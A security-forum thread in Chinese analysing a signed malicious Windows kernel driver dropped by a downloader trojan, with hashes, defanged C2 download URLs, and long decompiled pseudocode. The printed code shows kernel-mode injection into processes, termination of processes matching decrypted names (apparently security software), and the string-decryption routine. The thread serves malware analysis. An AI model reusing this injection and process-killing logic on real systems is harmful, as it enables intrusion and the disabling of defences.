恶意驱动 MalDriver/RootKit 1X

显示全部楼层 · 发表于 2025-6-25 18:29:53

本帖最后由 wwwab 于 2025-6-25 19:05 编辑

经过仔细分析，发现之前《带有数签的疑似下载者木马》样本中有一个外联下载的衍生物:
1. 原样本先从 http[:]//192.151.151.43/images/ccc111/imageslist.txt 拉取配置，得到

2----black2.jpg----svchost.exe

复制代码

2. 原样本下载 http[:]//192.151.151.43/images/ccc111/black2.jpg，其下载的black2.jpg实际上是一个PE可执行文件 (SHA256: dc6cc85976e66e2aa212ffc77439fbbaf6ab596ef2a672b44a56c3a9b6dd79e7)

在分析black2.jpg时，发现其释放了一个随机名称可疑驱动0B10608A1.sys (SHA256: 98eaa3d2df64ac8703ede8e0087e41a2ce589593f56cba56b048d7d121f990d3)，VirusTotal: 2/72 => 3/72，引起了我的关注

驱动信息:
原始文件名: z_driver.sys
PDB Path: C:\Users\M\programs\out\z_driver\x64\Release\z_driver.pdb
签名者信息: 山西荣升源科贸有限公司
如下图所示:

对其进行初步分析发现存在恶意行为，似乎是一个代码注入器:

__int64 __fastcall sub_1400115DC(unsigned int a1)
{
  __int64 v2; // rax
  __int64 v3; // rdi
  __int64 v4; // rbx
  __int64 v5; // rsi
  __int64 v6; // r9
  __int64 v7; // rdx
  __int64 v8; // rax
  __int64 result; // rax
  struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+40h] [rbp-38h] BYREF
  void *ThreadHandle; // [rsp+88h] [rbp+10h] BYREF

  v2 = sub_140009AB8();
  v3 = v2;
  if ( v2 )
  {
v4 = -1i64;
v5 = v2 + 144;
v6 = -1i64;
do
   ++v6;
while ( aTemp[v6] );
v7 = -1i64;
do
   ++v7;
while ( *(_BYTE *)(v5 + v7) );
if ( (int)sub_140007140(v2 + 144, v7, "\\Temp\\") >= 0 )
{
   v8 = -1i64;
   do
      ++v8;
   while ( aRundll32Exe[v8] );
   do
      ++v4;
   while ( *(_BYTE *)(v5 + v4) );
   if ( (int)sub_140007140(v5, v4, "\\rundll32.exe") >= 0 )
   {
      ThreadHandle = 0i64;
      memset(&ObjectAttributes.Length + 1, 0, 20);
      memset(&ObjectAttributes.Attributes + 1, 0, 20);
      ObjectAttributes.Length = 48;
      ObjectAttributes.Attributes = 512;
      if ( PsCreateSystemThread(&ThreadHandle, 0x10000000u, &ObjectAttributes, 0i64, 0i64, StartRoutine, 0i64) >= 0 )
      ZwClose(ThreadHandle);
   }
}
nullsub_1(v3);
  }
  result = sub_140009A98(a1);
  if ( (_DWORD)result )
return unknown_libname_1(&dword_1400B8E88);
  return result;
}

NTSTATUS __fastcall sub_140011080(__int64 a1, double a2)
{
  unsigned int v2; // esi
  int v3; // edi
  int v4; // r14d
  char *v5; // r15
  char *i; // rbx
  int j; // ebx
  int v8; // eax
  __int64 v9; // rbx
  _QWORD *v10; // r14
  _QWORD *k; // rdi
  unsigned int ProcessId[32]; // [rsp+40h] [rbp-298h]
  char v14[128]; // [rsp+C0h] [rbp-218h] BYREF
  char SubStr[128]; // [rsp+140h] [rbp-198h] BYREF
  char v16[256]; // [rsp+1C0h] [rbp-118h] BYREF

  dword_1400B8440 = 1;
  sub_1400044A8(&unk_1400B8FC0, 5000i64);
  if ( (unsigned int)sub_140009A58() || !dword_1400B8440 )
goto LABEL_35;
  v2 = 0;
  v3 = 0;
  sub_140002E64("$]iRy(dGzl|viGT>0o", v14, 127i64);
  v4 = 0;
  sub_140002E64("$plbo%<:f{3hDj", v16, 255i64);
  sub_140002E64("$Lf?;$o:fRwev", SubStr, 128i64);
  v5 = (char *)sub_140007604();
  sub_140008DE4(v5);
  for ( i = v5; i; i = *(char **)i )
  {
if ( !stricmp(i + 16, "System") && (unsigned int)sub_140007ED0(i + 144, v16) )
   v2 = *((_DWORD *)i + 2);
if ( (unsigned int)sub_140007ED0(i + 144, v14) && v3 < 30 )
   ProcessId[v3++] = *((_DWORD *)i + 2);
if ( strstr(i + 1168, SubStr) )
{
   sub_140009428(*((unsigned int *)i + 2));
   ++v4;
}
  }
  if ( v5 )
sub_140008264(v5);
  if ( v4 )
sub_1400044A8(&unk_1400B8FC0, 1000i64);
  if ( !dword_140027448 )
  {
for ( j = 0; j < v3; ++j )
   sub_14000A18C((HANDLE)ProcessId[j]);
  }
  if ( !v2 )
  {
dword_1400B8E58 = -100;
goto LABEL_35;
  }
  dword_1400B8E4C = 1;
  if ( !dword_140027448 )
  {
sub_140002E64("$[TW%g>dy+vaGPF$K-lw77h03R+0O)AL&D?r$`O?I$&2O8A3@", a2);
v8 = sub_140009F38((HANDLE)v2);
goto LABEL_29;
  }
  v9 = 0i64;
  v10 = (_QWORD *)sub_140007334(v2);
  for ( k = v10; ; k = (_QWORD *)*k )
  {
if ( k )
{
   if ( v9 )
      continue;
   goto LABEL_31;
}
if ( v9 )
   break;
LABEL_31:
if ( (unsigned int)sub_140007F50(k[1], L"\\kernel32.dll") )
   v9 = k[2];
  }
  sub_140008264(v10);
  v8 = sub_14000B4FC((HANDLE)v2);
LABEL_29:
  dword_1400B8E58 = v8;
LABEL_35:
  dword_1400B8440 = 0;
  return PsTerminateSystemThread(0);
}

__int64 __fastcall sub_14000A18C(HANDLE ProcessId, unsigned int a2, int a3)
{
  __int64 v5; // rsi
  __int64 result; // rax
  __int64 v7; // rax
  __int64 v8; // rbx
  struct _KTHREAD *v9; // rax
  struct _KTHREAD *v10; // rsi
  unsigned int v11; // ebx
  __int64 v12; // rcx
  __int64 v13; // r15
  IRP *v14; // r14
  void *v15; // rax
  int v16; // ebx
  __int64 v17; // [rsp+20h] [rbp-78h]
  PETHREAD Thread[2]; // [rsp+30h] [rbp-68h] BYREF
  HANDLE ThreadId; // [rsp+40h] [rbp-58h] BYREF
  struct _KAPC_STATE ApcState; // [rsp+48h] [rbp-50h] BYREF

  v5 = (unsigned int)ProcessId;
  if ( !dword_1400B8430 )
return 0xFFFFFFFFi64;
  v7 = sub_140009AB8((unsigned int)ProcessId);
  v8 = v7;
  if ( v7 )
  {
if ( *(int *)(v7 + 424) >= 0 )
   return 4294967294i64;
  }
  else
  {
result = sub_14000A970((HANDLE)(unsigned int)v5);
if ( (int)result < 0 )
   return result;
v8 = 0i64;
if ( MEMORY[0x2C] && !MEMORY[0x30] )
{
   MEMORY[0x1A8] = 0;
   return 4294967290i64;
}
  }
  *(_BYTE *)(v8 + 516) = a3 != 0;
  if ( (unsigned int)sub_140009E34(v8) )
  {
*(_DWORD *)(v8 + 424) = 1;
*(_DWORD *)(v8 + 512) = 1;
HIDWORD(v17) = 0;
v9 = (struct _KTHREAD *)sub_140008AC0(v5);
v10 = v9;
Thread[1] = v9;
if ( v9 )
{
   memset(&ApcState, 0, sizeof(ApcState));
   KeStackAttachProcess(v9, &ApcState);
   HIDWORD(v17) = 1;
   if ( (int)sub_140002F18(v8, a2) > 0 )
   {
      if ( *(_DWORD *)(v8 + 44) && (int)sub_14000B208(*(_QWORD *)(v8 + 48), v8) <= 0 )
      {
      v11 = -10;
      }
      else if ( (unsigned int)sub_140002C64(*(_QWORD *)(v8 + 88), v8 + 88) )
      {
      v13 = sub_140003298(*(_QWORD *)(v8 + 400), "SleepEx");
      if ( v13 )
      {
         v14 = (IRP *)sub_1400086C0(v12);
         ThreadId = 0i64;
         LODWORD(v17) = 22;
         sub_140006CBC(*(_DWORD *)(v8 + 44) == 0, 1000i64, v13, *(_QWORD *)(v8 + 504), v17, v14);
         v15 = (void *)sub_140006EB4(*(_QWORD *)(v8 + 504), 0i64, &ThreadId);
         if ( v15 )
            ZwClose(v15);
         if ( ThreadId )
         {
            Thread[0] = 0i64;
            PsLookupThreadByThreadId(ThreadId, Thread);
            if ( Thread[0] )
            {
            v16 = sub_1400031C0(v8);
            if ( v16 > 0 )
               v11 = 1;
            else
               v11 = v16 - 100;
            ObfDereferenceObject(Thread[0]);
            }
            else
            {
            v11 = -15;
            }
         }
         else
         {
            v11 = -13;
         }
         IoSetTopLevelIrp(v14);
      }
      else
      {
         *(_DWORD *)(v8 + 512) = 2;
         v11 = -12;
      }
      }
      else
      {
      *(_DWORD *)(v8 + 512) = 2;
      v11 = -11;
      }
   }
   else
   {
      v11 = -9;
   }
}
else
{
   v11 = -8;
}
if ( HIDWORD(v17) )
   KeUnstackDetachProcess(&ApcState);
if ( v10 )
   sub_140006C30(v10);
return v11;
  }
  else
  {
*(_DWORD *)(v8 + 424) = 0;
*(_DWORD *)(v8 + 512) = 7;
return 4294967289i64;
  }
}

__int64 __fastcall sub_1400031C0(__int64 a1, __int64 a2)
{
  _QWORD *v4; // rcx
  int v5; // ebx
  __int64 v6; // r8
  __int64 v7; // r9

  if ( *(_QWORD *)(a1 + 88) && *(_QWORD *)(a1 + 400) )
  {
if ( *(_DWORD *)(a1 + 472) )
{
   v4 = *(_QWORD **)(a1 + 480);
   v4[1] = *(_QWORD *)(a1 + 96);
   v4[2] = *(_QWORD *)(a1 + 104);
   v4[3] = *(_QWORD *)(a1 + 112);
   if ( dword_1400B8434 )
   {
      v5 = sub_14000477C(a2, *(_QWORD *)(a1 + 496), *(_QWORD *)(a1 + 488));
      sub_14000B328(a1, (unsigned int)(v5 != 0) + 11, v6, v7);
      return v5 != 0 ? 1 : -4;
   }
   else
   {
      sub_14000B328(a1, 10i64, 0i64, a2);
      return 4294967293i64;
   }
}
else
{
   sub_14000B328(a1, 9i64, 0i64, a2);
   return 4294967294i64;
}
  }
  else
  {
sub_14000B328(a1, 9i64, 0i64, a2);
return 0xFFFFFFFFi64;
  }
}

__int64 __fastcall sub_140009F38(HANDLE ProcessId, char *a2)
{
  __int64 v3; // rsi
  __int64 result; // rax
  __int64 v5; // r12
  struct _KPROCESS *v6; // rax
  struct _KPROCESS *v7; // rdi
  __int64 v8; // r13
  __int64 v9; // rax
  int v10; // eax
  int v11; // r8d
  __int64 v12; // rcx
  char v13; // al
  int v14; // eax
  __int64 v15; // [rsp+38h] [rbp-80h]
  __int64 v16; // [rsp+40h] [rbp-78h] BYREF
  __int64 v17[2]; // [rsp+48h] [rbp-70h] BYREF
  struct _KAPC_STATE ApcState; // [rsp+58h] [rbp-60h] BYREF

  v3 = (unsigned int)ProcessId;
  v15 = sub_140009AB8((unsigned int)ProcessId);
  if ( v15 || (result = sub_14000A970((HANDLE)(unsigned int)v3), (int)result >= 0) )
  {
if ( *(_QWORD *)(v15 + 400) )
{
   v5 = sub_1400085D8((HANDLE)(unsigned int)v3);
   if ( v5 )
   {
      v6 = (struct _KPROCESS *)sub_140008AC0(v3);
      v7 = v6;
      v17[1] = (__int64)v6;
      if ( v6 )
      {
      memset(&ApcState, 0, sizeof(ApcState));
      KeStackAttachProcess(v6, &ApcState);
      v8 = sub_140003298(*(_QWORD *)(v15 + 400), "CreateProcessA");
      v9 = sub_140003298(*(_QWORD *)(v15 + 400), "CloseHandle");
      if ( v8 && v9 )
      {
         v10 = sub_140006D50(*(_DWORD *)(v15 + 44) == 0, v8, v9, v5);
         v11 = v5 + v10 + 4;
         v12 = v5 + v10 + 4i64 - (_QWORD)a2;
         do
         {
            v13 = *a2;
            a2[v12] = *a2;
            ++a2;
         }
         while ( v13 );
         v17[0] = 0i64;
         v16 = 0i64;
         v14 = sub_140009324(v3, v5, v11, (unsigned int)v17, (__int64)&v16);
         if ( v14 >= 0 )
         {
            KeUnstackDetachProcess(&ApcState);
            sub_140006C30(v7);
            return 1i64;
         }
         else
         {
            return (unsigned int)(v14 - 200);
         }
      }
      else
      {
         return 4294967283i64;
      }
      }
      else
      {
      return 4294967285i64;
      }
   }
   else
   {
      return 4294967286i64;
   }
}
else
{
   return 4294967287i64;
}
  }
  return result;
}

__int64 __fastcall sub_140009324(unsigned int a1, __int64 a2, __int64 a3, __int64 *a4, _QWORD *a5)
{
  struct _KPROCESS *v8; // rax
  struct _KPROCESS *v9; // rdi
  unsigned int v11; // ebx
  __int64 v12; // rax
  __int64 v13[2]; // [rsp+28h] [rbp-80h] BYREF
  struct _KAPC_STATE ApcState; // [rsp+38h] [rbp-70h] BYREF

  v8 = (struct _KPROCESS *)sub_140008AC0(a1);
  v9 = v8;
  v13[1] = (__int64)v8;
  if ( !v8 )
return 0xFFFFFFFFi64;
  memset(&ApcState, 0, sizeof(ApcState));
  KeStackAttachProcess(v8, &ApcState);
  v13[0] = 0i64;
  v11 = 1;
  v12 = sub_140006EB4(a2, a3, v13);
  if ( v12 )
  {
if ( a4 )
   *a4 = v12;
if ( a5 )
   *a5 = v13[0];
  }
  else
  {
v11 = -3;
  }
  KeUnstackDetachProcess(&ApcState);
  ObfDereferenceObject(v9);
  return v11;
}

@wowocock @tdsskiller

显示全部楼层 · 发表于 2025-6-25 18:43:15

这里莫非是KillAV？

for ( i = v7; i; i = *(char **)i ) // 遍历进程链表
// 检查进程路径中是否包含SubStr（解密后的字符串）
if ( strstr(i + 1168, SubStr) )
{
sub_140009428(*((unsigned int *)i + 2)); // 结束该进程
++v4; // 计数
}
}

复制代码

__int64 __fastcall sub_140009428(unsigned int a1)
{
  void *v1; // rax
  NTSTATUS v2; // eax
  unsigned int v3; // ecx

  v1 = (void *)sub_1400048C8(a1, 1i64); // 获取进程句柄
  v2 = ZwTerminateProcess(v1, 0);
  v3 = -1;
  if ( v2 >= 0 )
return 1;
  return v3;
}

void *__fastcall sub_1400048C8(void *a1, ACCESS_MASK a2)
{
  NTSTATUS v2; // eax
  void *v3; // rcx
  struct _CLIENT_ID ClientId; // [rsp+20h] [rbp-40h] BYREF
  struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+30h] [rbp-30h] BYREF
  void *ProcessHandle; // [rsp+70h] [rbp+10h] BYREF

  ClientId.UniqueProcess = a1;
  ClientId.UniqueThread = 0i64;
  ObjectAttributes.RootDirectory = 0i64;
  ObjectAttributes.ObjectName = 0i64;
  *(_QWORD *)&ObjectAttributes.Length = 48i64;
  *(_OWORD *)&ObjectAttributes.SecurityDescriptor = 0i64;
  *(_QWORD *)&ObjectAttributes.Attributes = 576i64;
  v2 = ZwOpenProcess(&ProcessHandle, a2, &ObjectAttributes, &ClientId);
  v3 = ProcessHandle;
  if ( v2 < 0 )
return 0i64;
  return v3;
}

显示全部楼层 · 发表于 2025-6-25 18:39:58

EMSI miss

显示全部楼层 · 发表于 2025-6-25 19:40:17

显示全部楼层 · 发表于 2025-6-25 19:43:12

本帖最后由 wwwab 于 2025-6-25 20:22 编辑

这里面有个复杂的字符串解密，sub_140002E64和sub_140004E18，涉及到一个映射表byte_1400BB020，然后byte_1400BB020又是sub_140002A60（调用sub_140012680？）写进去的。其中，dword_1400B85C0是这个映射表是否被建立的标志。

这个函数吓死了个人:

__int64 __fastcall sub_140001954(
unsigned int a1,
__int64 a2,
__int64 a3,
unsigned int a4,
char a5,
_DWORD *a6,
__int64 a7)
{
__int64 v7; // rdi
__int64 result; // rax
_BYTE *v12; // rbx
unsigned int v13; // r15d
__int64 v14; // rax
__int64 v15; // rsi
_BYTE *v16; // rax
_BYTE *v17; // rdi
int v18; // ebp
int v19; // r14d
int v20; // esi
v7 = a4;
result = sub_14000638C(2i64 * a4 + 4);
v12 = (_BYTE *)result;
v13 = 0;
if ( result )
{
sub_140009AB8(a1);
v12[(unsigned int)sub_140005DF4(a3, v12, 2 * v7 + 4)] = 0;
v14 = -1i64;
do
++v14;
while ( *(_WORD *)(a2 + 2 * v14) );
v15 = 2 * v14 + 128;
v16 = (_BYTE *)sub_14000638C(v15);
v17 = v16;
if ( !v16 )
goto LABEL_135;
*v16 = 0;
sub_140005DF4(a2, v16, v15);
v18 = sub_140007D68(v17, "$p1O0zd1fK<");
v19 = sub_140007D68(v17, "$p1O0zaff!<-i");
v20 = sub_140007D68(v17, "$p1O0bg|yo<OiEk");
if ( ((unsigned int)sub_140004E18("$G1O0taff!<-i", v17)
|| (unsigned int)sub_140004E18("$G1O0z:1fK<", v17)
|| (unsigned int)sub_140004E18("$G1O0yo1fK<", v17))
&& (unsigned int)sub_140004E18("$Glby^eeF!gyz", v12)
|| (unsigned int)sub_140004E18("$G1O0|zbPK$!<-i", v17) && (unsigned int)sub_140004E18("$GJJ}`0d>l", v12) )
{
v13 = 1;
*a6 = 0;
}
else
{
if ( (!v18 && !v20
|| (unsigned int)sub_140004E18("$G,ieljh:!ge+", v12)
|| !(unsigned int)sub_140004E18("$G,2S1|bgg^1", v12)
|| (unsigned int)sub_140007ED0(v12, ".dll"))
&& (!(unsigned int)sub_140004E18("$Gl|aflR{!<-i", v17) || !(unsigned int)sub_140004E18("$Gn}};ngR.3<z|", v12)) )
{
if ( ((unsigned int)sub_140004E18("$Gn}};u|cPL$3hDj", v17) || (unsigned int)sub_140004E18("$Gn}};t%z!<-i", v17))
&& ((unsigned int)sub_140004E18("$GnN}ylvif<v(vjhDorteu", v12)
|| (unsigned int)sub_140004E18("$Gn}};5b{ejOiEk", v12)
|| (unsigned int)sub_140004E18("$GnN;/0e+g", v12)
|| (unsigned int)sub_140004E18("$G5Ju;a:hg3<g!", v12)
|| (unsigned int)sub_140004E18("$Gn}};xye:whmZuzjqy!|q", v12)
|| (unsigned int)sub_140004E18("$GnNN^%ldi3hDj3", v12)
|| (unsigned int)sub_140004E18("$G@dkzRO`jLOiEkO", v12)
|| (unsigned int)sub_140004E18("$GnN9fd:ks<G-{+R4o2z4", v12)
|| (unsigned int)sub_140004E18("$GDejgD", v12)) )
{
*(_QWORD *)(a7 + 8) = 0i64;
*(_DWORD *)a7 = -1073741790;
*a6 = 4;
goto LABEL_134;
}
if ( (!(unsigned int)sub_140004E18("$G5k<uodcv<OiEk", v17) || !(unsigned int)sub_140004E18("$GnN;i:eR!gyz", v12))
&& (!(unsigned int)sub_140004E18("$Gkhbi0e+g", v17) || !(unsigned int)sub_140004E18("$G^j%kjocf3<g", v12))
&& (!(unsigned int)sub_140004E18("$Glz>:zjilohw)k.l", v17)
&& !(unsigned int)sub_140004E18("$G,5Pv$zRelAk<`{F_l1y_", v17)
|| !(unsigned int)sub_140004E18("$GDoPv$z", v12) && !(unsigned int)sub_140004E18("$GDb{:", v12))
&& (!(unsigned int)sub_140004E18("$Gn}};u|cPL$3hDj", v17)
&& !(unsigned int)sub_140004E18("$Gn}};t%z!<-i", v17)
|| !(unsigned int)sub_140004E18("$G,}/;jovfn|+j+_>vw_", v12)
&& !(unsigned int)sub_140004E18("$G,}VB<kfMoGSiR%S", v12)
&& !(unsigned int)sub_140004E18("$G,}/86sRzLPD$SiR%S", v12)
&& !(unsigned int)sub_140004E18("$G,s7xxy>zd<SiR%S", v12)
&& !(unsigned int)sub_140004E18("$G,s7x@bdi<Oh|RO", v12)
&& !(unsigned int)sub_140004E18("$G,}/UakBz{hSiR%S", v12)
&& !(unsigned int)sub_140004E18("$G,5|ld|njoy#{jD{oEHzKLH", v12)
&& !(unsigned int)sub_140004E18("$G,Vcd%RfUzlihL_>vw_", v12)
&& !(unsigned int)sub_140004E18("$G,}/8>%iUzlihL_>vw_", v12)
&& !(unsigned int)sub_140004E18("$G,N]ivbRg5Rkoi_>vw_", v12)
&& !(unsigned int)sub_140004E18("$G,s7x@kf:zMw)j%{)", v12)
&& !(unsigned int)sub_140004E18("$G,sstPG$Rnjwxw{FP0$4lwG4", v12)
&& !(unsigned int)sub_140004E18("$G,5Pv$zRelAk<`{F_l1y_", v12)
&& !(unsigned int)sub_140004E18("$G,ao.:k>.", v12)
&& !(unsigned int)sub_140004E18("$G,}/sRyCV5Oh|RO", v12)
&& !(unsigned int)sub_140004E18("$G,}/sRyBi<gy)j%{)", v12)
&& !(unsigned int)sub_140004E18("$G,}/@jdf%3<z|3", v12)
&& !(unsigned int)sub_140004E18("$G,}/Aw%2foy2", v12)
&& !(unsigned int)sub_140004E18("$GDa^-", v12)
&& !(unsigned int)sub_140004E18("$G,}/9Aud:z|iGTkiET", v12)) )
{
if ( (a5 & 0x20) == 0 )
goto LABEL_134;
if ( (sub_140004E18("$Ga%>il|f%3hDj", v17), !(unsigned int)sub_140004E18("$G1O0zd1fK<", v17))
&& !(unsigned int)sub_140004E18("$G1O0bg|yo<OiEk", v17)
&& !(unsigned int)sub_140004E18("$G]do>ke2gLh", v17)
|| !(unsigned int)sub_140004E18("$G1O0taff.3<z|", v12)
&& !(unsigned int)sub_140004E18("$G1O0z:E2foy", v12)
&& !(unsigned int)sub_140004E18("$Gn}};ngR.3<z|", v12)
&& !(unsigned int)sub_140004E18("$Gfeje|ogv0Oh|R", v12)
&& !(unsigned int)sub_140004E18("$Gf|a^:E2foy", v12)
&& !(unsigned int)sub_140004E18("$Gl[::g>zh0Oh|R", v12)
&& !(unsigned int)sub_140004E18("$GZizgjRz!gyz", v12)
&& !(unsigned int)sub_140004E18("$Glby^ee2foy", v12)
&& !(unsigned int)sub_140004E18("$G1O0%d|i<P-$Oh|R", v12)
&& !(unsigned int)sub_140004E18("$Gf]^abE2foy", v12)
&& !(unsigned int)sub_140004E18("$GUj>Ro,ofCy%h|>L)ry+K", v12)
&& !(unsigned int)sub_140004E18("$G[[fc%Re.3<z|", v12)
&& !(unsigned int)sub_140004E18("$Gylhlzod!gyz", v12)
&& !(unsigned int)sub_140004E18("$G`z;^#<i.3<z|", v12)
&& !(unsigned int)sub_140004E18("$G[[fc%bo.3<z|", v12)
&& !(unsigned int)sub_140004E18("$G#b^taff.3<z|", v12)
&& !(unsigned int)sub_140004E18("$GJlk{|eR#{R+ji-SqoG+", v12)
&& !(unsigned int)sub_140004E18("$G#b^taff.3<z|", v12)
&& !(unsigned int)sub_140004E18("$GJlk{|eR#{R+ji-SqoG+", v12)
&& !(unsigned int)sub_140004E18("$G}eyg>gF!gyz", v12)
&& !(unsigned int)sub_140004E18("$GVP{$yc<b<.3<z|", v12)
&& !(unsigned int)sub_140004E18("$G023S5Ax:hh2)j%{", v12)
&& !(unsigned int)sub_140004E18("$GI9s^eexg0Oh|R", v12)
&& !(unsigned int)sub_140004E18("$G8lf%d|Mgz>K+3_>vw", v12)
&& !(unsigned int)sub_140004E18("$G,Vk^khoh^o2)j%{", v12)
&& !(unsigned int)sub_140004E18("$G^yo^kyy.3<z|", v12) )
{
if ( (!(unsigned int)sub_140004E18("$Gn}8ylw%g{OiEk", v17)
&& !(unsigned int)sub_140004E18("$G,oe>%Giy3hDj3", v17)
&& !(unsigned int)sub_140004E18("$G,]]g:{:%|LGj+_l1y_", v17)
&& !(unsigned int)sub_140004E18("$G,d]>!O)d{R-+kK4o2z4", v17)
&& !(unsigned int)sub_140004E18("$G,m|PG[ DISCUZ_CODE_0 ]lt;1fK<1", v17)
&& !(unsigned int)sub_140004E18("$G,<]R>:hg{OiEkO", v17)
&& !(unsigned int)sub_140004E18("$G,5]da|i!<-i!", v17)
&& !(unsigned int)sub_140004E18("$G,1!O)C+|oRwj+_l1y_", v17)
&& !(unsigned int)sub_140004E18("$G,1!O):h%|zi)k.l)", v17)
&& !(unsigned int)sub_140004E18("$G,cfydfyK3hDj3", v17)
&& !(unsigned int)sub_140004E18("$G,N]vR<yy3hDj3", v17)
&& !(unsigned int)sub_140004E18("$G,labb1fK<1", v17)
&& !(unsigned int)sub_140004E18("$G,5kel{mKRy%GkK4o2z4", v17)
&& !(unsigned int)sub_140004E18("$G,se:poRlgOiEkO", v17)
&& !(unsigned int)sub_140004E18("$G,t99zoG{<vSjF>S", v17)
&& !(unsigned int)sub_140004E18("$G,6pAwy>z{hw)k.l)", v17)
&& !(unsigned int)sub_140004E18("$G,J;taff6<OiEkO", v17)
&& !(unsigned int)sub_140004E18("$G,s]>;|y+vhw)k.l)", v17)
|| !(unsigned int)sub_140004E18("$G1O0taff.3<z|", v12)
&& !(unsigned int)sub_140004E18("$G1O0z:E2foy", v12)
&& !(unsigned int)sub_140004E18("$Gn7s^ee2foy", v12)
&& !(unsigned int)sub_140004E18("$Gn}};ngR.3<z|", v12)
&& !(unsigned int)sub_140004E18("$Gf|a^:E2foy", v12)
&& !(unsigned int)sub_140004E18("$Gfeje|ogv0Oh|R", v12)
&& !(unsigned int)sub_140004E18("$G,Vk^khoh^o2)j%{", v12)
&& !(unsigned int)sub_140004E18("$GUj>Ro,ofCy%h|>L)ry+K", v12)
&& !(unsigned int)sub_140004E18("$G[[fc%Re.3<z|", v12)
&& !(unsigned int)sub_140004E18("$Gl[::g>zh0Oh|R", v12)
&& !(unsigned int)sub_140004E18("$G`z;^#<i.3<z|", v12)
&& !(unsigned int)sub_140004E18("$G[[fc%bo.3<z|", v12)
&& !(unsigned int)sub_140004E18("$G#b^taff.3<z|", v12)
&& !(unsigned int)sub_140004E18("$GJlk{|eR#{R+ji-SqoG+", v12)
&& !(unsigned int)sub_140004E18("$G}eyg>gF!gyz", v12)
&& !(unsigned int)sub_140004E18("$GVP{$yc<b<.3<z|", v12)
&& !(unsigned int)sub_140004E18("$G023S5Ax:hh2)j%{", v12)
&& !(unsigned int)sub_140004E18("$GI9s^eexg0Oh|R", v12)
&& !(unsigned int)sub_140004E18("$G8lf%d|Mgz>K+3_>vw", v12)
&& !(unsigned int)sub_140004E18("$G^yo^kyy.3<z|", v12))
&& (!v19
|| !(unsigned int)sub_140004E18("$GbbX-:Rc%lOh|R", v12)
&& !(unsigned int)sub_140004E18("$GbbXcPG$l>.3<z|", v12)) )
{
goto LABEL_134;
}
}
}
}
*(_QWORD *)(a7 + 8) = 0i64;
*(_DWORD *)a7 = -1073741790;
*a6 = 4;
}
LABEL_134:
sub_1400062C8(v17);
LABEL_135:
sub_1400062C8(v12);
return v13;
}
return result;
}

复制代码

期待有高手/大佬能够搞定它

__int64 __fastcall sub_140002E64(__int64 a1, __int64 a2, unsigned int a3)
{
__int64 v5; // rdx
__int64 v6; // r9
__int64 result; // rax
if ( a1 )
{
v5 = -1i64;
do
++v5;
while ( *(_BYTE *)(a1 + v5) );
}
else
{
v5 = 0i64;
}
v6 = a3;
if ( a3 )
v6 = a3 - 1;
result = sub_140002CE8(a1, v5, a2, v6);
if ( a3 && a2 && (unsigned int)result < a3 )
*(_BYTE *)((unsigned int)result + a2) = 0;
return result;
}

复制代码

__int64 __fastcall sub_140002CE8(_BYTE *a1, int a2, _BYTE *a3, unsigned int a4)
{
unsigned __int64 v5; // r13
_BYTE *v8; // rdi
__int64 v9; // rbx
int v10; // esi
unsigned __int8 v11; // r14
int v12; // r9d
__int64 v13; // rax
__int64 v14; // rax
int v15; // ecx
unsigned int v16; // ecx
unsigned int v17; // eax
char v18; // cl
char v19; // dl
v5 = (unsigned __int64)&a1[a2];
v8 = a1;
v9 = 0i64;
v10 = 0;
v11 = 0;
sub_140002A60();
if ( a3 && a4 )
*a3 = 0;
if ( !v8 || !a2 || !a3 || !a4 )
return 0i64;
v12 = 0;
if ( (unsigned __int64)v8 >= v5 )
{
LABEL_29:
if ( (unsigned int)v9 < a4 )
LABEL_30:
a3[v9] = 0;
}
else
{
while ( (unsigned int)v9 < a4 )
{
if ( !v12 || (v13 = (unsigned __int8)*v8, byte_1400BB020[v13] <= -2) )
{
if ( (int)v9 + 1 > a4 )
goto LABEL_30;
v14 = (unsigned __int8)*v8;
v15 = (unsigned __int8)byte_1400BB020[v14];
if ( (unsigned __int8)(byte_1400BB020[v14] + 0x80) > 0x7Eu )
goto LABEL_30;
v10 = v15 - 128;
if ( (unsigned __int8)(v15 + 0x80) < 4u )
{
if ( (_BYTE)v15 == 0x80 )
{
v11 = 37;
}
else
{
v11 = 84;
if ( (_BYTE)v15 == 0x83 )
v11 = 51;
}
}
else
{
v11 = 0;
}
++v8;
++v12;
LOBYTE(v13) = *v8;
}
v16 = (unsigned __int8)byte_1400BB020[(unsigned __int8)v13];
if ( (unsigned __int8)v16 >= 0x80u || v16 >= v11 )
goto LABEL_30;
v17 = (unsigned int)v9 % v11;
if ( v16 < v17 )
v18 = v11 - (unsigned int)v9 % v11 + v16;
else
v18 = v16 - v17;
v19 = v18 + 84 * v10 - 47;
if ( !v10 )
v19 = v18;
++v8;
a3[v9] = v19;
++v12;
v9 = (unsigned int)(v9 + 1);
if ( (unsigned __int64)v8 >= v5 )
goto LABEL_29;
}
}
return (unsigned int)v9;
}

复制代码

char *sub_140002A60()
{
int v0; // ebx
const char *v1; // rdi
unsigned __int8 v2; // al
v0 = 0;
v1 = "R%{vwG+KL-DEF.012!3OS)T_4qrH&IJ789;@ABCm`MN/Un}V5st#ux6p,WX(YZ[]^abc:defg<hijk>loyz|~";
if ( !dword_1400B85C0 )
{
sub_140012680(byte_1400BB020, 255i64, 256i64);
v2 = 82;
do
{
++v1;
byte_1400BB020[v2] = v0++;
v2 = *v1;
}
while ( *v1 );
byte_1400BB05F = 0x80;
byte_1400BB044 = -127;
word_1400BB070 = -31870;
dword_1400B85C0 = 1;
}
return byte_1400BB020;
}

复制代码

__m128 *__fastcall sub_140012680(__m128 *a1, unsigned __int8 a2, unsigned __int64 a3)
{
__m128 *result; // rax
__int64 v4; // rdx
unsigned __int64 v5; // r9
char *v6; // rcx
unsigned __int64 v7; // r8
__m128 v8; // xmm0
char *v9; // r8
__m128 *v10; // rcx
unsigned __int64 v11; // r8
unsigned __int64 v12; // r9
unsigned __int64 i; // r9
__int64 v14; // r8
result = a1;
if ( a3 < 8 )
{
for ( ; a3; --a3 )
a1->m128_i8[a3 - 1] = a2;
}
else
{
v4 = 0x101010101010101i64 * a2;
if ( a3 >= 0x4F )
{
v8 = _mm_movelh_ps((__m128)(unsigned __int64)v4, (__m128)(unsigned __int64)v4);
*a1 = v8;
v9 = (char *)a1 + a3;
v10 = (__m128 *)((unsigned __int64)&a1[1] & 0xFFFFFFFFFFFFFFF0ui64);
v11 = v9 - (char *)v10;
v12 = v11 >> 7;
if ( v11 >> 7 )
{
do
{
*v10 = v8;
v10[1] = v8;
v10 += 8;
v10[-6] = v8;
v10[-5] = v8;
--v12;
